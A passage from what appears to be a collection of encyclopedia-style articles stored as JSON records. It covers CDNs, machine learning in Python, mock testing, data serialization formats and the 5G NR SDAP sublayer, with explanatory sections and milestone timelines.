everyone who requested it. \n\nSome CDN providers take this concept a step further by incorporating \"origin shield\" between Edge servers and origin servers in the CDN by incorporating caching layers to reduce the number of requests made to the origin server for content. \n\n\n### How does CDN cache dynamic content?\n\nContent on a website will be either static or dynamic. Static content will be same for every user which needs almost no processing by a backend in server specifically for the user. It is easy to serve by a CDN as the information once cached in the server will not change. Traditional CDNs have cached and served only static content but CDNs now a days need to process dynamic content in which the data changes depending on user, location and many other factors.\n\nCaching dynamic content via CDN is complex because it requires querying a database, using Full Page Caching or reverse proxy caching also executing large code base to generate the content. It was once impossible to cache dynamic content, but with the advancement of modern CDN technologies, it is now possible to do so by running the code and storing databases closer to the users on Edge Servers and delivering it from the cache rather than pulling it from the distant origin server, which even speeds up the response time of dynamic websites to the user. \n\n\n### Difference between CDN and Edge Computing\n\nWhile CDN aims to improve user connectivity by caching content copies in edge servers. Edge Computing is a similar architecture aimed primarily at IoT (Internet of Things) sensors, Gateways, Smartphones, and a wide range of technologies not limited to high performance servers. \n\nIt can not only store content like a CDN, but it can also distribute workload and provide decentralised computing, processing services for applications such as VR, AR Gaming, and others that require high reliability and ultra low latency with the help of growing 5G technology. It can replace a CDN Edge Server which performs the majority of the computing services on the origin server and stores the copies, whereas in Edge Computing, the majority of what happens in CDN origin servers happens closer to the user. \n\nBeacause the required infrastructure for a Edge computing varies greatly than a CDN. Users of edge computing services for their business require a tailor made solutions according to their specific requirements. \n\n\n### What are the Disadvantages of using a CDN?\n\n    + **Expensive**: Starting to use a CDN and setting it up takes time and comes with a lot of hidden costs. There are many CDNs that offer free plans, but they come with some restrictions. Because it can handle large amounts of traffic, the fees are determined by the number of visitors, the amount of CDN resources used, and a variety of other factors. As a result, CDN networks are typically a better option for large businesses with the financial resources and requirements to invest in them.\n    + **Server Location**: Before you set up, learn about CDN providers and their points of presence (PoPs). If you don't have a CDN provider's server near where your core audience and majority of traffic is expected, it will have a negative impact on your website's performance as it will directly increase the loading time for the users.\n    + **Handling SEO**: Though using a CDN improves page speed, which is beneficial to SEO, there are a number of other factors that if handled incorrectly can have a negative impact on SEO. It is recommended that assets such as images be hosted on the same sub-domains as the website.\n\n\n## Milestones\n\n1995\n\nTim Berners-lee inventor of World Wide Web realised internet traffic congestion would become a major problem limiting internet usage. They start a research project in MIT to find a solution. \n\nAug  \n1998\n\nDr. Leighton and Mr. Lewin incorporated Akamai meaning \"clever\" or \"intelligent\" in Hawaiian language. It is the first CDN provider and the company is evolved from a MIT Project in 1995. \n\nFeb  \n1999\n\nAkamai provides first live traffic to Disney website via CDN. It starts earning a considerable market share by delivering two programmes for ESPN and Entertainment tonight, which historically had a high consumer demand. Also in the same year world's most visited website Yahoo is their customer. \n\nAug  \n2000\n\nDr.Tom leighton MIT math professor and his student Daniel Lewin got patent for their intelligent routing system which replicates content across a large network of distributed servers. It is titled as \"Global hosting system\".\n\n\nSep  \n2001\n\nThe 9/11 terrorist attack in United States increases internet usage worldwide. During this MSNBC a news Channel consumes a bandwidth of 120 gigabits per second, compared to the normal 6 gigabits.  After this event more money is invested in the development of advanced CDNs to handle such flash crowds. Daniel Lewin, the father of CDN and founder of Akamai CDN, is coincidentally killed in this terrorist attack.  \n\nNov  \n2007\n\nA new architecture distributed Content Delivery Network (DCDN) is proposed in the IEEE research paper to improve the peering of CDN which allows traffic to be exchanged between two networks directly increasing the efficiency of Commercial CDNs. Resources of the internet users like storage space and bandwidth is used in DCDN. \n\nNov  \n2008\n\nAmazon Web Services(AWS) subsidiary of Amazon.com,Inc launches CloudFront a content delivery network with 14 edge locations around the world. A Huge advantage of Cloudfront is the pay as you go pricing model with no upfront cost or long term contract.  \n\nNov  \n2009\n\nMicrosoft launches Windows Azure Content Delivery Network. The data is delivered by blob containers which can store large unstructured data served to users by over HTTP or HTTPS protocols. Public Blob containers are available for anyone for anonymous access with the CDN URL. Data Request is served from the closest CDN endpoint of the user to access the Blob. Azure CDN uses cache in which a very-high speed memory to deliver static objects allowing users to store large amount of data. \n\nApr  \n2010\n\nLimelight Inc's patent application is published. In which a new system for delivering encrypted data to end-users from a Content Delivery Network origin is proposed. Some or most of the contents within the CDN is encrypted and when the end-user supplies a Universal Resource Indicators (URI) the CDN determines the key for decrypting the content before it is delivered to the end-user from CDN.\n\n\nJun  \n2012\n\nNetflix a subscription based streaming service launches \"Open Connect Network\" , CDN to serve petabytes of data on a In-house content distribution network to provide billion hours per month of movies and TV which was served by other commerical CDN providers previously. Netflix provides free servers to the Internet Service Providers which stores copies of Netflix contents to reduce the burden on networks by eliminating the number of transits for the content to reach the user in the network. \n\nSep  \n2017\n\nEdgemesh a web acceleration company has started to operate 3,500 Global networks through Peer-to-Peer Content delivery network technology which cuts the page loading time by 60% reducing bandwidth fees by 90%.  \n\nJun  \n2018\n\nA New PCDN Technology introduced by Alibaba Cloud is emerging to offer Peer to Peer functionality optionally integrated with a CDN. This PCDN depends on Peer to Peer technology which can be integrated with conventional CDN and Cloud-based CDN. The Cost of PCDN is also cheaper than traditional and Cloud-based CDN. Multi-level node scheduling increases data redundancy which means the data can be served by both CDN and P2P technology. \n\nJul  \n2019\n\nFor about 30 minutes, many websites on the internet displayed a 502 error due to a major outage in Cloudflare CDN. It's because of a bug that caused a massive spike in CPU usage, which caused the system to crash.  \n\n2020\n\nDue to the COVID pandemic, CDN usage is on the rise, with Video on Demand (VOD) and Over the Top (OTT) services playing a major role. With 15.8 million new users, Netflix, an OTT platform, saw a 48 percent increase in traffic. Similarly, edtech platforms have seen an increase in usage.","meta":{"title":"Content Delivery Network","href":"content-delivery-network"}}
{"text":"# Machine Learning in Python\n\n## Summary\n\n\nMachine Learning algorithms enable a computer system to learn about the problem environment directly from historical/real-time data, without being explicitly programmed. Algorithm implementation can be done using any programming language such as C, C++, Java, Python, JavaScript or R.\n\nHowever, Python is most prevalently used in the industry for Machine Learning across business domains. It is voted by data scientists as the ‘language most desirable to learn’ in a 2018 StackOverflow survey. \n\nSeveral factors influence the choice of language for ML implementation. Programming expertise in the organisation, interoperability with existing code/data frameworks might be reasons to stick to traditional languages such as C++ or Java. But the advantages that new-age languages such as Python and R bring to Machine Learning are plenty.\n\nEase of coding, strong supporting developer community, and excellent data manipulation features are key reasons for Python’s suitability for Machine Learning.\n\n## Discussion\n\n### What are major steps in the ML process and their corresponding Python libraries?\n\nMachine Learning programs essentially consist of 4 steps. In Python, each of these steps are supported by a well-developed library implementations: \n\n    + Step 1 – Collecting and preparing data (`numpy`, `pandas` library)\n    + Step 2 – Choosing the model or algorithm (`sklearn` library)\n    + Step 3 – Training the model with historical data (`sklearn` library)\n    + Step 4 – Making an outcome prediction from training data and comparing the accuracy with the test data (`matplotlib`, `sklearn` libraries)\n\n### How is the data collection process (Step 1) handled in Python?\n\nData about the system is first collected from various sources. This data would primarily be unstructured data, contain unclear labels and several invalid/incorrect entries. This data is then sorted, labelled, validated and then stored in organized data structures.\n\n**NumPy** and **Pandas** libraries of Python contain data structures such as `Array`, `DataFrame` and `Series` that provide grouping, indexing and data manipulation functions. \n\n\n### How is the ML model chosen and implemented (Step 2) in Python?\n\nOnce the data is ready, it is divided into training and test data. Here, the appropriate ML algorithm is to be applied based on the nature of the data and the type of prediction we seek. Size of the training data, linearity of data, number of affecting parameters are all important factors to consider. Linear regression, classification, SVM, Clustering, Decision trees are some of the frequently used algorithms. \n\nAll popular algorithm implementations are present in the `sklearn` (scikit-learn) library of Python. It provides a list of supervised and unsupervised algorithms with a uniform interface for invocation for easy programming.\n\n\n### How is the ML model trained with data (Step 3) using Python?\n\nFeeding the model with all the gathered data and allowing it to interpret the parameters incrementally is the next step. The training process involves deducing values for dependent variables based on independent variable values in the data set. Some variables are more relevant to the outcome than the others.\n\nThe `estimator.fit()` function from the `sklearn` library allows the model to take the test X values and fit them into the model to infer the corresponding Y value. Supervised learning is done using either `predictor.predict()` or `predictor.predict_prob()` (for classification problems). \n\n\n### How is the final outcome predicted and evaluated (Step 4) in Python?\n\nIn the final step, the derived Y values from the model are verified and evaluated for accuracy. This is done by comparing the derived Y value against the Y value from test data. High degree of accuracy indicates a good fit of the model on the problem statement, meaning the predictions are reliable.\n\nOnce the outcomes are ready, the data need to be presented in easy human-readable form. This step is known as data visualization. It involves converting tabular data into visual representations such as graphs, maps, images, and so on. \n\nPython takes care of prediction with the `sklearn` library. The accuracy calculation functions are also present in this. Data visualization is done using the `matplotlib` library. Popular visualizations are scatter plots, time series, box plots, histograms and heatmaps. Refer code snippet in sample code section. \n\n\n### What are the advantages of Python over other programming languages for Machine Learning?\n\nListed below are some distinct features of Python that make it extremely suitable for ML:\n\n    + **Ease of coding** – Often described as a programmer’s delight, Python’s code footprint is among the smallest across high level languages. Short, to-the-point syntax is a big plus, making programs easily readable.\n    + **Dynamic typing** – Python doesn’t mandate you to declare variable data types. So mid-way through your program, your variable can change from integer to character to an object. When large volumes of data are being collected, sometimes a variable data type is unknown or frequently changing. Thus, the dynamic typing feature is useful in data preparation for Machine Learning.\n    + **Strong developer community** – The open and collaborative development of Python libraries has made it one of the fastest growing developer communities. Quick consultation for queries and excellent sample code sharing make it easy for beginners. Since ML is an emerging field, community support is a vital plus.\n    + **Embeddable code** – Python code can be embedded as script snippets into traditional C, C++ or Java programs. This makes feature extensions easy, as legacy code need not be scrapped altogether.\n\n### What are the disadvantages of Python and when to use alternative programming languages for Machine Learning?\n\nPython also comes with some inherent drawbacks. Dynamic typing presents a problem to handle efficient memory management and garbage collection. So whenever performance critical features are to be implemented, better stick to C/C++ code, and make them Python extensions. Python is not the ideal choice for real-time data analysis either, due to its slower processing speed than C/C++. \n\nR is another extremely popular language for Machine Learning as it is a language designed especially for scientific computation and statistical analysis, unlike Python which is a general purpose high-level language.\n\nWhen an algorithm relies heavily on Java features (such as Android, IOT sensors, JDBC extensions), it is quite natural to write the ML portion also in Java.\n\n\n### How are advanced ML features supported in Python?\n\nApart from general purpose Machine Learning, there are other allied applications such as Deep Learning, Neural Networks, and Natural Language Processing. These form the basket of frameworks for Artificial Intelligence. Python is ahead of alternative languages in support for such advanced applications.\n\nAmong the ML frameworks or packages are TensorFlow, Keras, PyTorch, fastai, Caffe2, Scikit-Learn, and Chainer. Theano is an old DL framework that's no longer maintained. In many of frameworks, the underlying implementation may be in another language but they expose Python APIs for use in Python-based applications. Popular Deep Learning frameworks include TensorFlow from Google, and PyTorch from Facebook. Although primarily in written in C++, developers can use the Python APIs to invoke these frameworks. They do however have interfaces in C++, R, and Java.\n\nFor Natural Language Processing (NLP), the **NLTK** Python library is widely used. There's also **Pattern** for data mining, NLP, and ML. \n\nImage processing functions are supported by **OpenCV**, **scikit-image**, and **Pillow** frameworks. \n\n\n### Could you mention some relevant tools for ML in Python?\n\nFor general scientific computing, **SciPy** is a handy package. **Dask** enables parallel computing. **High Performance Analytics Toolkit (HPAT)** is an alternative to Apache Spark to scale your apps to multiple clusters on the cloud. To optimized your code for performance, consider using **Numba** and **Cython**. To run efficiently on specific hardware, Intel offers **Intel® Math Kernel Library (MKL)** and **Intel® Distribution for Python**. Likewise, **PyCUDA** allows Python code to access Nvidia's CUDA parallel computation API. \n\nAmong the **IDEs** suitable for ML applications in Python are JuPyter/IPython Notebook, PyCharm (free or paid), Spyder, Rodeo, and Geany. Rodeo has been built specifically for ML and Data Science. \n\nAmong the **data visualization** packages in Python are Matplotlib, Seaborn, ggplot, Bokeh, pygal, Plotly, geoplotlib, Gleam, missingno, and Leather. Many are capable of many types of plots while others fulfil specific needs. \n\n## Milestones\n\n1990\n\nThis is the decade when Machine Learning algorithms move from being rule driven to data driven. \n\n2000\n\nPython 2.0 is released. The development of the language becomes more open and community driven. \n\n2006\n\n**NumPy** package of Python, for scientific computing is released. Statistical modelling for machine learning becomes simpler with this package. \n\n2008\n\n**Python 3.0** is released. Memory management becomes more efficient. This helps us process large data structures, as is common in ML. \n\n2008\n\n**Pandas** package of Python, for data manipulation and processing, is released. This simplifies data clean up and pre-processing, which are the first steps in a typical ML data pipeline. \n\n2010\n\n**Scikit-learn** package of Python sees its public release. It covers all the major ML algorithm implementations such as for regression, classification and clustering. This library simplifies ML programming for developers. \n\n2015\n\nSeveral Python-based Deep Learning (DL) frameworks (TensorFlow, Chainer, Keras) are released. **TensorFlow**, the most popular of them, is an open source Python library for fast numerical computing. Developed by the Google Brain team, it comes with strong support for Machine Learning and Deep Learning. Its flexible numerical computation core is used across many other scientific domains. \n\n2017\n\nFacebook brings GPU-powered Machine Learning to Python. **PyTorch** is a Python implementation of the Torch Machine Learning framework for deep neural network programming. It can complement or partly replace existing Python packages for math and stats, such as NumPy.","meta":{"title":"Machine Learning in Python","href":"machine-learning-in-python"}}
{"text":"# Mock Testing\n\n## Summary\n\n\nMock testing is an approach to unit testing that lets you make assertions about how the code under test is interacting with other system modules. In mock testing, the dependencies are replaced with objects that simulate the behaviour of the real ones. The purpose of mocking is to isolate and focus on the code being tested and not on the behaviour or state of external dependencies. \n\nLet's say, a notification service triggers an email service. We don't want to send emails each time we run a notification test. However, we want to verify that the email-sending service is called. Such a service can be replaced with a mock object.\n\n## Discussion\n\n### Where is mock testing useful?\n\nMocking is generally useful during unit testing so that external dependencies are no longer a constraint to the unit under test. Often those dependencies may themselves be under development. Without mocking, if a test case fails, it will be hard to know if the failure is due to our code unit or due to dependencies. Mocking therefore speeds up development and testing by isolating failures. \n\nOther reasons to mock dependencies is to avoid slow network calls or call third-party APIs. Mocking also enables product demos and evaluations. All units of a project can progress in parallel without waiting for everyone to be ready. Thus, testing can start early. \n\nCode that have side effects should be called only in production. Examples include charging a credit card or sending a notification. Mocking is useful to validate such calls without the side effects. \n\nMocking avoids duplicating test code across similar tests. The task of verifying method or API calls from our module can be delegated to the mock. \n\n\n### Could you give some examples of mock testing?\n\nLet's say, an Order class fulfils orders by calling a Warehouse class. The latter knows the current inventory. If we are unit testing Order class, we mock the Warehouse. We don't care about testing Warehouse right now. But since it's a dependency for Order, we mock it. Our mock object can be called WarehouseMock. \n\nA **mock object** provides a pseudo implementation of the same interface as the real object. Those calling it are unaware that it's a mock. Thus, to the Order class, WarehouseMock looks the same as Warehouse. This is just what we need to unit test Order class.\n\nAnother example is about an application calling an external API to get information about movies. Instead of making real calls, this can be mocked so that when API calls are made, the mock object will simply read and respond with test data from a local file system. \n\n\n### Does mocking require developers to modify their codebase?\n\nIf your code uses static objects or singletons, then it's difficult to do mocking. In such cases, it's better to refactor code. Otherwise, in general, mocking doesn't require you to modify the codebase. In fact, **dependency injection** is the usual way in which objects should be created. Dependencies become visible in the constructors and other methods. These dependencies can therefore be easily replaced during testing with mock objects.  This can be configured either in code or via a configuration file. \n\n\n### How is mock testing different from traditional unit testing?\n\nIn traditional unit testing, unit tests do assertions about states expected of either the system under test or its dependencies. With mock testing, no assertions are required from the unit tests themselves. Assertions are done by the mock objects. These objects are initialized in advance about what method calls are expected and how they should respond. \n\nWhile unit tests are more about **state-based** verification, mock testing is more about **behaviour-based** verification. For example, let's assume that SecurityCentral is being tested. It depends on Door. When SecurityCentral activates full security, unit testing will verify the final state of Door, that it's closed. Mocking would instead verify that the correct method was invoked with expected arguments, such as `Door.close()`. Mocks register the calls they receive so these can be asserted. \n\n\n### What are the common types of mock testing?\n\nIn **proxy-based mocking**, a proxy object is used instead of the original object. The proxy may handle all calls to the original object or selectively forward some calls. Mock frameworks such as EasyMock, JMock, Mockito offer this type of mocking. However, there may be limitations in terms of proxying `static/private/final` methods or a `final` class. \n\nIn **classloader-remapping-based mocking**, a class loader remaps the reference. Thus, it loads the mock object rather than the original one. Mock frameworks such as JMockit and PowerMock support this. This overcomes the limits of proxy-based mocking. \n\nIn Swift language, one developers blogged that he uses two ways to do mocking: **instance injection** and **configuration injection**. The former is simpler but it can't handle static objects. \n\n\n### What are some best practices for mock testing?\n\nHere are some best practices for mocking:\n\n    + **Only mock types that you own:** External types have dependencies on their own. They might even change their behaviour in a future version. Instead, create an adapter and mock that adapter.\n    + **Don't mock values:** Values should not be mocked. Mocking aims to make the relationships and interactions between objects visible. Getting a value is not an interaction.\n    + **Avoid mocking concrete classes:** Relationships are easier to see via interfaces rather than concrete classes. We might end up mocking some methods but forget others. Mock roles, not objects.\n    + **Don't mock everything:** This is an anti-pattern. If everything is mocked, we may end up testing something quite different from production system.\n    + **Use integration tests**: When testing multiple modules or if you're interested in data coming from an external database, you should do integration testing rather than mocking.\n    + **Negative tests**: Use mocks to simulate errors and test error handling. Use mocks to verify that some methods/APIs are *not* called.\n\n### What are some mocking frameworks?\n\nWhile it's possible to manually write mock objects, mocking frameworks simplify the task. Mockito is an open source testing framework for Java. Mockito is claimed to be the one of the popular ones. \n\nJustMock and MOQ package are useful for .NET developers. . There's also JustMock Lite when dealing with loosely coupled code. Wiremock is suitable for mocking HTTP-based APIs.\n\nFor C++ developers, there's TypeMock and Google Mock. The latter is part of GoogleTest. TypeMock uses a templating approach to create mocks whereas Google Mock uses inheritance. \n\nOther frameworks include EasyMock, JMock, JMockit, and PowerMock. Ease of use, maintainability and learning curve are some things to consider when choosing a framework. \n\n\n### What are some limitations of mock testing?\n\nWriting good mocks requires good understanding of dependencies. Otherwise, mocks may not accurately represent real-world behaviour. Mocking can lead to tight coupling between mocks and code under test. \n\nOveruse of mock objects as part of a suite of unit tests can result in a dramatic increase in the amount of maintenance that needs to be performed on the tests themselves. \n\n## Milestones\n\n1999\n\nExtreme Programming emphasizes unit testing and Test-Driven Development (TDD). Some adopters of Extreme Programming, based out of London, begin to think about how testing influences coding. They have been using \"getters\" to facilitate testing but they explore new ideas. They start avoiding \"getters\" and adopt **composition**, where test objects are passed via constructors. This is years before the term **Dependency Injection** is used for this design approach. \n\n2000\n\nInitial ideas of mock testing are presented at the XP2000 conference. At this time, the approach is called **Endo-Testing**. This name comes from the fact that mock objects are passed into domain code and tested from within. They claim that this simplifies testing architecture. It avoids polluting domain code since assertions are not in production code but in unit tests. \n\n2001\n\nEasyMock is released. It's the first library to provide dynamic mock objects. \n\nJun  \n2004\n\nVersion 1.0.0 of **jMock** is released. This provides an expressive API over **DynaMock** Java library. DynaMock itself comes from an earlier work by Nat Pryce who introduced mocking to Ruby. He emphasized assertions on messages passed between objects rather than just parameter values. \n\nJul  \n2008\n\nFramework **Mockito** v1.5 for Java is released. By now, mock testing is more than just identifying where a test has failed. It's more about interactions among objects. Mockito simplifies mocking by taking a different approach compared to jMock or EasyMock. We don't have to set up expectations in mock objects in advance. We can simply create them and query them later after execution. \n\nApr  \n2007\n\nNat Pryce and Steve Freeman rework jMock to produce **jMock2**.  \n\nDec  \n2008\n\nGoogle releases **Google Mock**, a mocking framework for C++. Version 1.7.0 is released in 2013. In 2015, this is absorbed into the GoogleTest project.","meta":{"title":"Mock Testing","href":"mock-testing"}}
{"text":"# Data Serialization\n\n## Summary\n\n\nData serialization is the process of converting data objects present in complex data structures into a byte stream for storage, transfer and distribution purposes on physical devices.\n\nComputer systems may vary in their hardware architecture, OS, addressing mechanisms. Internal binary representations of data also vary accordingly in every environment. Storing and exchanging data between such varying environments requires a platform-and-language-neutral data format that all systems understand. \n\nOnce the serialized data is transmitted from the source machine to the destination machine, the reverse process of creating objects from the byte sequence called *deserialization* is carried out. Reconstructed objects are clones of the original object. \n\nChoice of data serialization format for an application depends on factors such as data complexity, need for human readability, speed and storage space constraints. XML, JSON, BSON, YAML, MessagePack, and protobuf are some commonly used data serialization formats.\n\n## Discussion\n\n### How does data serialization and deserialization work?\n\nComputer data is generally organized in data structures such as arrays, tables, trees, classes. When data structures need to be stored or transmitted to another location, such as across a network, they are serialized. \n\nFor simple, linear data (number or string) there's nothing to do. Serialization becomes complex for nested data structures and object references. When objects are nested into multiple levels, such as in trees, it's collapsed into a series of bytes, and enough information (such as traversal order) is included to aid reconstruction of the original tree structure on the destination side. \n\nWhen objects with pointer references to other member variables are serialized, the referenced objects are tracked and serialized, ensuring that the same object is not serialized more than once. However, all nested objects must be serializable too. \n\nFinally, the serialized data stream is persisted in a byte sequence using a standard format. *ISO-8859-1* is a popular format for 1-byte representation of English characters and numerals. *UTF-8* is the world standard for encoding multilingual, mathematical and scientific data; each character may take 1-4 bytes of data in *Unicode*. \n\n\n### What are the applications of Data Serialization?\n\nSerialization allows a program to save the state of an object and recreate it when needed. Its common uses are:  \n\n    + **Persisting data onto files** – happens mostly in language-neutral formats such as CSV or XML. However, most languages allow objects to be serialized directly into binary using APIs such as the `Serializable` interface in Java, `fstream` class in C++, or Pickle module in Python.\n    + **Storing data into Databases** – when program objects are converted into byte streams and then stored into DBs, such as in Java JDBC.\n    + **Transferring data through the network** – such as web applications and mobile apps passing on objects from client to server and vice versa.\n    + **Remote Method Invocation (RMI)** – by passing serialized objects as parameters to functions running on a remote machine as if invoked on a local machine. This data can be transmitted across domains through firewalls.\n    + **Sharing data in a Distributed Object Model** – when programs written in different languages (running on diverse platforms) need to share object data over a distributed network using frameworks such as COM and CORBA. However, SOAP, REST and other web services have replaced these applications now.\n\n### Could you list some text-based Data Serialization formats and their key features?\n\nWithout being exhaustive, here are some common ones:  \n\n    + **XML (Extensible Markup Language)** - Nested textual format. Human-readable and editable. Schema based validation. Used in metadata applications, web services data transfer, web publishing.\n    + **CSV (Comma-Separated Values)** - Table structure with delimiters. Human-readable textual data. Opens as spreadsheet or plaintext. Used as plaintext Database.\n    + **JSON (JavaScript Object Notation)** - Short syntax textual format with limited data types. Human-readable. Derived from JavaScript data formats. No need of a separate parser (like XML) since they map to JavaScript objects. Can be fetched with an `XMLHttpRequest` call. No direct support for `DATE` data type. All data is dynamically processed. Popular format for web API parameter passing. Mobile apps use this extensively for user interaction and database services.\n    + **YAML (YAML Ain't Markup Language)** - Lightweight text format. Human-readable. Supports comments and thus easily editable. Superset of JSON. Supports complex data types. Maps easily to native data structures. Used in configuration settings, document headers, Apps with need for MySQL style self-references in relational data.\n\n### Could you list some binary Data Serialization formats and their key features?\n\nWithout being exhaustive, here are some common ones:\n\n    + **BSON (Binary JSON)** - Created and internally used by MongoDB. Binary format, not human-readable. Deals with attribute-value pairs like JSON. Includes datetime, bytearray and other data types not present in JSON. Used in web apps with rich media data types such as live video. Primary use is storage, not network communication.\n    + **MessagePack** - Designed for data to be transparently converted from/to JSON. Compressed binary format, not human-readable. Supports static typing. Supports RPC. Better JSON compatibility than BSON. Primary use is network communication, not storage. Used in apps with distributed file systems.\n    + **protobuf (Protocol Buffers)** - Created by Google. Binary message format that allows programmers to specify a schema for the data. Also includes a set of rules and tools to define and exchange these messages. Transparent data compression. Used in multi-platform applications due to easy interoperability between languages. Universal RPC framework. Used in performance-critical distributed applications.\n\n### How do the various serialization formats compare on performance characteristics?\n\nHere's a brief comparison:\n\n    + Speed – Binary formats are faster than textual formats. A late entrant, **protobuf reports the best times**. With compressed data, speed difference is even greater. For apps that aren't data intensive or real time, JSON is preferable due to readability and being schema-less.\n    + Data size – This refers to the physical space in bytes post serialization. For small data, compressed JSON data occupies more space compared to binary formats like protobuf. With larger files, the gap narrows. Generally, **binary formats always occupy less space**.\n    + Usability – Human readable formats like JSON are naturally preferred over binary formats. For editing data, YAML is good. For complex data types, cross-platform serialization libraries allow data structure to be defined in schemas (for text formats) or IDL (for binary formats). Schema definition is easy in protobuf, with in-built tools.\n    + Compatibility, extensibility – JSON is a closed format. XML is average with schema versioning. Backward compatibility (extending schemas) is best handled by protobuf.\n\n### Which are the programming languages that offer good serialization support?\n\nPlatform-independent languages offer better support for data serialization. Java, the pioneer of object serialization, supports in-built serialization (`Serializable` Interface) and custom serialization (`Externalizable` Interface). Python has newly introduced the Pickle module for the same.\n\nHowever, real-world environment is diverse and cross-platform. Most web applications are opting for platform-neutral data serialization formats. Open source formats JSON, XML, YAML, protobuf, MessagePack have support for all major programming languages such as C, C++, Java, Python, Perl, Go, etc. So the choice of language depends more on other factors, not on serialization any more.  \n\n\n### What are the potential risks that affect data due to serialization?\n\nNaive use of object serialization may allow a malicious party with access to the serialization byte stream to read private data, create objects with illegal or dangerous state, or obtain references to the private fields of deserialized objects. Workarounds are tedious, not guaranteed. Oracle has promised to do away with object serialization and allow programmers to choose from open formats such as JSON, XML, etc. \n\nOpen formats too have their security issues. XML might be tampered using external entities like macros or unverified DTD schema files. JSON data is vulnerable to attack when directly passed to a JavaScript engine due to features like JSONP requests. Programmers need to take care of such security vulnerabilities in their code, before deploying their applications. \n\n\n### Does the serialization process differ for Big Data?\n\nEven in Big Data, serialization refers to converting data into portable byte streams. But schema control is another important target in Big Data. Issues in data consistency such as blanks or wrong data values can be very costly, involving heavy data clean-up effort. \n\nThe next important aspect is the ability to split and reconstruct data easily (for example by MapReduce). JSON or XML may not work well. Apache Hadoop has its own schema-based serialization format called Avro, similar to protobuf. Apache schemas are also defined based on JSON. Apache Hadoop uses RPC to talk to different components. Avro supports this very well. \n\n## Milestones\n\n1972\n\nCSV format is used in IBM Fortran machines from as early as 1972. The name **CSV (Comma-Separated Values)** itself is coined in the era of modern PCs, about 1983. \n\n1997\n\nThe term serialization is used in the context of data for the first time. In-built support for **language-specific serialization** is introduced in the Java language: `Serializable` interface for in-built support and `Externalizable` interface for user-defined implementation. Older languages like C did not have direct functions to serialize data. \n\n1998\n\n **XML 1.0** becomes a W3C Recommendation. XML, like its more popular cousin HTML, is derived from the original markup language SGML, which was created in the pre-internet era of the 1980s. \n\n2001\n\nDouglas Crockford, credited with inventing **JSON**, popularizes its use around the year 2001. However, he reveals later that JSON was used at Netscape as early as 1996. \n\n2004\n\n **YAML**, an extension of JSON, releases its first version. \n\n2008\n\n **MessagePack**, another binary serialization format derived from JSON releases with support for all major programming languages. \n\n2008\n\n **Protocol Buffers** from Google is released to the public. However, it's been in use internally since 2001. \n\n2016\n\n **BSON** is released as an independent data serialization format in 2016. It originated in 2009 at MongoDB for its internal use. \n\n2018\n\nOracle decides to drop the Java serialization feature from future Java versions, calls it a “horrible mistake”, due to data security issues. Intends to replace it with a plugin framework where users can choose their serialization format such as JSON, XML or YAML.","meta":{"title":"Data Serialization","href":"data-serialization"}}
{"text":"# 5G NR SDAP\n\n## Summary\n\n\nService Data Adaptation Protocol (SDAP) sublayer exists only in the user plane in both gNB and UE. It interfaces to upper layers via QoS flows and to the PDCP lower layer via Data Radio Bearers (DRBs). Traffic from QoS flows are mapped to suitable DRBs. This is an essential role of SDAP. SDAP layer doesn't exist in 4G/LTE since QoS flows were introduced only in 5G. \n\nQuality-of-Service (QoS) is implemented in 5G using **QoS Flows**. On the Uu air interface between gNB and UE, data packets are carried in DRBs. Rules are either configured or derived to map QoS flows to DRBs. This mapping is executed at SDAP.\n\n## Discussion\n\n### What are the main functions of SDAP sublayer?\n\nThe main service provided by SDAP to upper layers is the transfer of user plane data. From lower layers, SDAP expects in-sequence delivery of PDUs except when out-of-sequence delivery is configured by RRC at PDCP.  \n\nApart from the transfer of user plane data, SDAP maps QoS flows to DRBs in both DL and UL. It maps PC5 QoS flows to SL-DRB for sidelink communication. It marks packets with QoS flow ID (DL or UL) or PC5 QoS flow ID (SL). \n\nRRC configures the rules by which SDAP does the mapping.  When uplink mapping is omitted, UE monitors the equivalent downlink mapping and applies the same to the uplink. This is called **Reflective QoS**. Reflective QoS is not supported for sidelink. It's also not applicable if DL SDAP PDUs don't have a header. \n\n\n### Could you describe how SDAP sublayer handles a PDU session?\n\nThe SDAP sublayer can have multiple SDAP entities, one for each PDU session on the gNB-UE Uu interface. An SDAP entity establishment or release are initiated by RRC. \n\nThe mapping of QoS flows to DRBs is not one to one; that is, multiple QoS flows can be mapped to a DRB. In the figure we show an example of a single PDU session with 4 QoS flows mapped to 3 DRBs. The first two flows are mapped to a single DRB. Each DRB is handled by a single PDCP entity, which may translate to one or two RLC entities depending on the RLC mode. \n\nIn the uplink, a QoS flow is mapped to only one DRB at a time. A PDU session has at least one DRB. There's at most one **default DRB** in every PDU session. If there's no uplink mapping, SDAP PDU is sent on the default DRB. \n\nPackets belonging to different PDU sessions go on different DRBs. \n\n\n### Could you describe the format of an SDAP data PDU?\n\nAn SDAP data PDU includes an optional 1-byte header and a variable length payload. Payload length is communicated between SDAP and PDCP sublayers.\n\nPresence of SDAP header in UL and DL are configured per DRB. A header isn't required if the DRB carries only one QoS flow. However, DL header presence is configured if reflective QoS is enabled. Any change to header presence is done in a synchronized manner such as a handover. \n\nDL SDAP header includes a 1-bit RDI (Reflective QoS flow to DRB mapping Indication), a 1-bit RQI (Reflective QoS Indication) and a 6-bit QFI. UL SDAP header includes QFI. When RDI=1, UE updates QoS flow to DRB mapping for uplink. When RQI=1, UE informs NAS that Service Data Flow (SDF) to QoS mapping rules have been updated. 1-bit D/C field is set to 1 to indicate data PDU. 1-bit R field is reserved. \n\nNon-GBR QoS flows can contain the Reflective QoS Attribute (RQA). This tells the NG-RAN to include QFI in downlink packets. UE may be configured to include QFI in uplink packets.  \n\n\n### Which are the SDAP control PDUs?\n\nSDAP has only one control PDU called **end-marker**. It's sent to indicate that a specific QoS flow is no longer mapped to the DRB/SL-DRB on which this control PDU is sent. The QoS flow is indicated with a 6-bit QFI/PQFI field. A 1-bit D/C field is set to zero to indicate control PDU. A 1-bit R field is reserved. \n\nWhen RRC configures a new mapping, SDAP will send the end-marker PDU on the previously mapped DRB or SL-DRB. The latter could be a previously configured DRB/SL-DRB or the default DRB/SL-DRB. \n\n## Milestones\n\nJun  \n2017\n\nAt the 3GPP TSG-RAN WG2 #98 meeting, two proposals are made for SDAP operation: (a) QFI presence in SDAP PDU is configured semi-statically by RRC and can't be dynamically enabled or disabled; (b) SDAP header presence can be changed only via synchronized configuration such as a handover. \n\nSep  \n2017\n\nSDAP specification TS 37.324 v1.0.0 is published. \n\nMay  \n2018\n\nJheng et al. of Mediatek Inc. file a patent detailing the operation of an apparatus that extracts from a downlink packet RQI and QFI. Subsequently, it 